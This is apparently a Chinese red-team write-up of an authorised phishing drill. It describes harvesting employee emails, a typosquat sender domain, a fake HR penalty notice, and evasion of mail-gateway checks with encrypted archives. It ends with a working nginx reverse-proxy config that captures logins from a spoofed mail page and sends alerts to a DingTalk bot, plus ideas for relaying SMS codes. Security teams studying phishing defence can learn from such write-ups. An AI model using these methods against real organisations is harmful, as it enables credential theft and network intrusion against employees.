记录一次之前的钓鱼。
之前有个甲方开展演练,不限制攻击手法,正巧一般都是硬打进去的,这次正好写一下钓鱼。
很简单,全是基础的东西,轻喷。
正常来说,无论是护网还是高级渗透项目,目标肯定是做了好几轮测试的,要从外围找到点,很难。
但是在允许钓鱼的情况下,人的习惯行为存在安全风险的因素往往要大得多。
员工充满了不确定性,这也是EDR和杀毒无法保证的一个地方。
本文是一次邮件钓鱼,当然除了邮件钓鱼外,我们还可以U盘钓鱼,wifi近源钓鱼,社交工具钓鱼等方式,具体使用什么方式做钓鱼演练,还要结合目标实际情况,针对性的进行方案设计。
在钓鱼活动之前,先得清楚谁是那个谁是鱼,一般来说只要不是针对特定单独目标的,往往是群发的,都需要做信息收集。
需要收集的信息有:
其中最重要的就是邮箱信息,建议从以上几个地方获取信息:
其中搜邮箱可以从域名获得邮件信息。
image.png
无论使用的是哪种途径获得了邮件信息,都离不开两步,去重和验证存活。
验证存活的地方不多说,很多服务商都有提供这种服务。
本次案例没有进行前期的邮箱信息收集,而是用了一个漏洞获取到了该目标的通讯录,根据职位和部门准备了鱼饵。
确定目标之后,接下来就是准备鱼饵,鱼饵的选择有很多,常见的是目标和鱼饵如下:
钓鱼是让你钓鱼,不是让你造谣惹是生非的
总体来说,无论是利用什么,总的还是利用一个人的心理,只要标题够巧,能吸引人点击,就算成功。
制作鱼钩前,得想清楚两件事:
思考:
钓鱼无非就权限或者密码本,想清楚这两个不同的方向带来的收获往往不同。权限当然是最快的,但是得考虑杀毒,密码可能是收获不大的,但是动静较小。
抛开上面的附件钓鱼不谈,很简单,只需要想方设法的让对方点击附件即可,一般都是直接附带在邮箱里,利用加密压缩包绕过邮件网关检测。
有些检测比较严格的,会单独拦截附件的,就要使用比如把附件单独拉一个网站上让目标人员主动去进行下载。
重点在于,钓鱼的页面需要结合客户的系统去进行冒充,对于外部的方式建议是用oa,mail,VPN等页面进行仿冒。
对于内部,如展开二次钓鱼的情况下,建议是对目标内部关键系统进行冒充,假如知识库,堡垒机,代码库等页面。
无论最终采用哪一种方式,都需要尽可能的减少目标的感知。
介绍到此结束,下面进入实践案例。
在此之前,小伙伴已经拿到了通讯录,经过前期的踩点,我们也找到了处于外部的mail系统,同时也发现了外部的VPN系统。
个人的思路就是,套取更可能多的密码,用来碰撞VPN。
利用nginx反代去套他们的页面,只需要监听日志即可获得账号密码,无成本的利用方式。
以上是一段反代配置,并且提醒给钉钉的机器人,就不用一直看着日志了。
在套好模板之后,开始计划鱼饵,我选用的鱼饵也很简单,就是一份处罚公告,具体如下:
image.png
此处的邮件服务器是买的一个相近域名来做的,假如目标是baidu.com。
购买的域名是baldu.com,邮件主题为hrm @baldu.com。
蓝色部分是超链接,实际指向为反代后的地址。
拟了一份根据规则行为制度所写的处罚报告,附件里给出了公司的行为规则PDF,以及目标群体的姓名和邮箱。
选取了大概30个人发送一批,依次发送了3批左右。
image.png
效果很好,大概收获了二三十个账号密码,利用一些员工的账号密码也成功的登陆上了VPN系统。图就不再展示了
钓鱼和社工都是一门艺术,我见过有靠纯钓鱼和社工打穿目标的大佬,所展现的心理素质和各种身份的切换,炉火纯青。。
本文只是一个简单的引用,水坑攻击中要高级的多,存在数不胜数的利用方式。
代码需要结合目标所处的环境来编写,假如目标的关键系统设置了手机验证码,如何在他输入正确的验证码之后迅速传回到你这边来呢?
假如对方一直爆破你的登录口,填充错误的信息,是不是该筛选杂乱数据出去呢?
假如做的很单薄,目标一直去登录你的页面却迟迟登陆不进去,是不是可以做一个判断账号密码是否正确,正确的进行302重定向来不引起目标的注意呢?
这方面该学的确实还有很多。打点?不如钓鱼.jpg
想起一个题外话,有一次被蓝队反钓鱼了,非常之有趣。
有机会可以写写这个事情。
server {
listen 80;
server_name example.com; # 需要替换为钓鱼网站的域名
access_log /var/log/nginx/access.log;
location / {
proxy_pass http://phishing-site.com; # 需要替换为钓鱼网站的真实 URL
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
# 记录用户访问信息
access_log /var/log/nginx/phishing.log;
# 将用户访问信息推送到钉钉机器人
post_action @notify;
}
location @notify {
internal;
proxy_pass https://oapi.dingtalk.com/robot/send?access_token=YOUR_ACCESS_TOKEN; # 需要替换为钉钉机器人的访问 token
proxy_set_header Content-Type application/json;
proxy_set_header charset utf-8;
proxy_method POST;
# 钉钉机器人推送内容,包含用户访问信息
proxy_set_body '
{
"msgtype": "text",
"text": {
"content": "用户访问了钓鱼网站:$host\n访问IP:$remote_addr\n访问时间:$time_local"
}
}
';
}
}